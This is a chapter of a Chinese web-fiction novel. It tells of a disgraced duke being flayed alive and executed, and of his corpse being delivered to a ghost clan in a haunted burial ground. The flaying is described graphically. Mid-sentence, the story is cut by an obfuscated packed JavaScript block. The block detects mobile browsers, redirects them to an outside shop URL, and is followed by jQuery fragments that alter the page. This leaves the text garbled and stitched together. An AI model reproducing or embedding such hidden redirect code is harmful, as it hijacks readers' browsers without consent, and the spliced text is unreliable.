42. 第 42 章

作品:《我见夫子少年时

    中常侍去后,一众虔诚信徒陆陆续续从地上起身,慢慢散了开去。


    刑台下除了几个游手好闲的烂衣乞丐,只剩身着孝服的袁家仆从举着袁庆怜的牌位对着魏时坚哀声哭诉。


    魏时坚被刽子手押回了囚车上,倚着车壁闭眸趺坐不动。


    胡太尉在监斩台上坐立难安,回眸时,正与不远处酒楼窗口的袁少卿眸光一触。


    袁少卿似也泄了半身力气,老迈的身躯斜倚在窗框上,不见了方才的精气神。


    胡太尉倾身走下监斩台来,见许昀带着青瑶正等在胡家马车旁。


    通灵瑶琴和棺椁塞满了马车,却不知道今日能否得去贺兰塚。


    胡太尉抚胸呕出一口浓血来,愤愤道:“若是此次太后放了魏时坚,怕是二娘的命休矣。”


    许昀忙上前搀住胡太尉在树荫下坐下,又让青瑶拿来水囊给胡太尉喝了几口润嗓。


    “太后做事果决,晚辈猜测她不会因此便放了魏时坚,魏时坚亵渎菩萨,胆敢将自己的贱躯凡胎绣上菩萨圣像,此举或许恰惹怒了太后,若是当真放了他,太后日后见到他莫非要拿他当做菩萨来跪拜不成。”


    胡太尉思忖片刻,心才放宽了些,随即命家中侍从去购置一张蒲席,留作裹魏时坚的尸身之用。


    他本为魏时坚准备了一口薄棺,此时就同给贺兰塚定制的那一口上好的棺木一同放在马车中。


    现在,胡太尉连这口薄棺也不想给魏时坚用了,干脆用草席一卷,将他带入贺兰塚了事。


    申时初,靠在刑台下抱着大刀睡了一觉的刽子手被一只干瘦的手掌推醒,睁眼后兀自打了个哈欠,他见来人是一名灰头土脸的老吏,便问道:“今日不斩了罢,我等可以回家了?”


    老吏没做声,他身旁一个年轻吏人恭敬递上一块巾帕,老吏接过裹在口鼻处。


    年轻吏人又从包中拿出几块薄如蝉翼的干猪肠衣递了过去,老吏一脸嫌弃道:“他一个大活人,用不着这个。”


    年轻吏人闻言不知想到了什么,颇为紧张地滚动了一下喉结。


    老吏系好面巾,这才对刽子手道:“兄弟,怕是要让你多等等,待老朽的活儿干完,才能轮到你上手。”


    他对站在身后候着的四个大汉道:“将犯人带出来,压得牢些,莫要让他乱动,妨碍老朽办事。”


    四个大汉应声,将魏时坚从囚车上拖了出来,魏时坚本以为太后要传召他进宫,可一出囚车却发觉不对劲。


    一个大汉当头一脚,将魏时坚踹翻在地,紧接着四人将他牢牢按在了刑台上。


    魏时坚知道大事不好,奋力挣扎。


    四人哪能让他轻易挣脱,死命按住他,几乎要将他一身骨头压碎。


    “你们要对本公做什么,待太后赦免了本公,本公定让太后治你们的罪,诛你们的九族!”


    老吏冷哼了一声,从年轻吏人递来的工具箱中捡出一把刃薄如纸片的匕首,又取出了几片薄竹片在刀口上轻轻刮擦。


    刽子手见了这几样家伙事立即明白老吏为何人,朝老吏恭敬行了一礼,便退到了刑台下。


    老吏啧了一声,“国公若是不动,老朽只割得薄薄一层皮肉来,还好受些,国公若是随意乱动,老朽手上可没什么准头儿,割到国公的骨头也是有的,国公金尊玉贵之躯,应当不想在临死之前还要尝尝这剜骨之刑。”


    老吏俯身眯眸,细看魏时坚身后栩栩如生的普贤菩萨像,啧啧赞叹道:“当真是好技艺,可绣在你这身脏皮上,当真可惜了!冯彧,来,替师傅把他裤子脱了,两股间还有还有一部分绣像,可不太好剥。”


    一阵寒意从五脏六腑冲出,魏时坚登时浑身立满了鸡皮疙瘩,面若死灰。


    老吏手法娴熟,刀尖蜿蜒地在魏时坚皮肉上游走。


    魏时坚浑身轻颤,声若兽嚎,“太后,侄儿当年可是舍命救了陛下,您就为这点小事,便要生剥了侄儿的皮,要了侄儿的命,早知如此,侄儿当年就该让你断子绝孙!”


    魏时坚的怒骂伴随着一声声惨厉的嚎叫响彻天宇。


    许昀和胡太尉站在监斩台上看得心惊,不到一个时辰,老吏便完整的剥下了魏时坚身后的一张精美人皮来。


    老吏一头薄汗,接过徒弟手中的巾帕擦了擦手,将人皮呈给在不远处马车上观望的中常侍。


    胡太尉拍了把许昀的肩头,“还是许二郎君想得明白,魏时坚此举当真触怒了太后,啧啧,自找的!”


    日头血一般地落在几块残云间,将天地映得一片赤红,魏时坚俯趴在地,浑身是血,已没有力气起身,鼻间也只剩下微不可闻的哼哼声,刽子手手起刀落,瞬间便将他身体斩断成了两截。


    —


    胡家马车载着一车尸血味,直奔贺兰塚而去。


    贺兰塚四周依旧大雾漫漫,入夜,雾气透着刺骨寒意,断绝了周遭所有活物靠近的可能。


    胡太尉接过马夫手中的马鞭,服下太微紫麻。


    驱车刚行了几步路,马儿打了一连串响鼻,倏而止住了脚步,想必是感受到了贺兰塚内的凛冽阴气,任胡太尉再如何挥鞭驱赶,也不肯走动一步。


    与上回不同,此次车上载有魏时坚满是血的两截尸体,还有一口沉重的大棺椁,必得驱车入内。


    胡太尉跳下车来,怒目对着马腿重重抽了一鞭子,“你这没用的废物!给老子动动!”


    马儿被吓得惊嘶不止,掉头飞快朝反方向跑去,不出片刻便冲出了浓雾。


    胡太尉与许昀在车后追赶得气喘吁吁,眼看马车愈来愈远,忽见前方一袭飘飘白衣自暗处而来,将暗夜都映亮了几分。


    万年子挥着拂尘飘然而至,他轻轻一挥拂尘,尘束上雪白千丝根根伸长,如同长了钩子一般嵌在奔腾的马车上。


    马车刺啦一声停下,将万年子拽了一个趔趄,被青瑶跑上前一把拉住。


    万年子轻啧了一声,“你这个小娘子的力气居然比贫道还大,看来许二郎君在吃食上没亏待过你!”


    胡太尉见到万年子惊喜万分,忙上前道:“道长可真是及时雨,回来的正是时候,否则老夫和许二郎君当真追不上这四脚畜生!”


    万年子捋须一笑,收回拂尘掸了掸,“贫道入城时听说今日魏时坚在西市行刑,知道你们晚上定会来此,便先行等在了此处,恰遇见了阿芍,她说你们已经入塚去了,老夫便追了过来。”


    他叫来身后几个忸怩不前的胡家侍卫,“他们一把子力气,跟着进去帮忙抬棺木。”


    万年子在马儿双目上系一块薄纱,边抚着马鬃边凑近马耳朵念了几声。


    马儿抖了抖颈子,丝毫不见了方才的狂躁,调转了马头随着几人缓步朝贺兰塚深处走去。


    一行人从华


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069303|194370||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    表旁进入贺兰塚,许昀提着夜灯朝地面一照,前次他和青瑶留下的脚印还清晰可见。


    胡家侍卫被叫过来只是做些苦力,故而万年子并未舍得给他们服下太微紫麻。


    身形健硕的几个大汉,入了浓雾,胆战心惊,一惊一乍,让胡太尉颇觉得丢脸,故意舍了几人,与许昀和青瑶走在一处。


    几个侍卫时刻担心周遭雾气中蹦出个青面獠牙的厉鬼要了自己性命,又见胡太尉面色不佳,对他们嫌弃得紧,只得敛声静气,一个扯一个的衣襟紧紧跟着万年子。


    到了贺兰承的宅院时,贺兰承与两个儿子方才巡墓归来。


    贺兰松和贺兰柏手上握着几只从墓地中抓出的蛇鼠虫蚁,送去了后院。


    许昀将马车上的通灵瑶琴取下,递到贺兰承手中。


    贺兰承辨认了一番,“此琴确为我族中的棺木所制。”


    他又入车厢翻看了魏时坚断做两截的尸体,便让两个儿子去将塚内所有鬼魂召来。


    “此番多谢诸位,稍后我等会将瑶琴送往墓地,将这贼人的尸身在我先祖墓前焚化,以告慰我先祖在天之灵。”


    贺兰氏一众鬼魂听闻找到了通灵瑶琴与盗墓贼,都快速聚到了院中。


    胡家几个侍卫站在庭中央,见胡太尉与许昀二人对着破败不堪的院落不停地朝着虚空说话,个个吓得面色惨白。


    周围愈来愈冷,几个侍卫只觉得如同堕入了三尺冰窟,一人连连打着牙颤,低声问一旁的万年子,“道长,此处为何这般寒冷?”


    万年子斜睨他一眼,“院中鬼魂愈来愈多,不冷才怪。”


    他伸手指向身前长满苔藓的地上,“现在少说也有两三百个了,差不多凑齐了。”


    青瑶看见上次被胡太尉吓坏的老太婆一脸喜色走入院中,上前问道:“阿婆身体可是恢复了。”


    老太婆喜道:“郎主近来常让松儿柏儿捉些虫蛇鼠蚁给老婆子补身体,现下已经大好了,你们将通灵瑶琴寻回,我更是别提多高兴,身子骨前所未有的爽利。”


    “虫蛇鼠蚁可是大补啊!”青瑶从袖中掏出一只肥硕的大老鼠,递给老太婆,“我才在路上捉到的,孝敬给阿婆。”


    老太婆喜滋滋地张开嘴,一口吸了大老鼠的魂魄,满足地道:“这只个儿头大,补身最好,小娘子有心了”。随即将瘫软的老鼠朝前一丢,差点砸到一个侍卫的脚上。


    侍卫惊喊了一声跳到了万年子身后,牵住万年子衣襟瑟瑟发抖。


    贺兰氏众鬼魂黑压压地站满了一院子,胡太尉让侍卫将魏时坚的尸体从马车上取下摆在院中。


    众鬼围上前去看,唾骂魏时坚,由于大仇得报,他们头顶并没有上次黑压压的骇人怨气。


    几个侍卫抬着瑶琴、棺木和魏时坚的尸身,身后跟着浩浩荡荡的一众鬼魂,来到贺兰槐的墓碑旁,将魏时坚的尸身烧化后又将棺木和瑶琴送入墓室中。


    众鬼静默跪拜后,贺兰承起身道:“某已将怨念尽数召回,胡太尉可放心了。”


    了却了一桩大事,出了墓室,贺兰承让一众鬼魂各自回家去,他同两个儿子送许昀等到塚旁。


    此时,鬼群中一声大呼,一个身影跳出来拦住众鬼的去路。


    “虽然盗墓贼已死,我氏先祖可以安息了,可我们呢?我们还要在这暗无天日的地方生活几百年,你们就甘心吗?”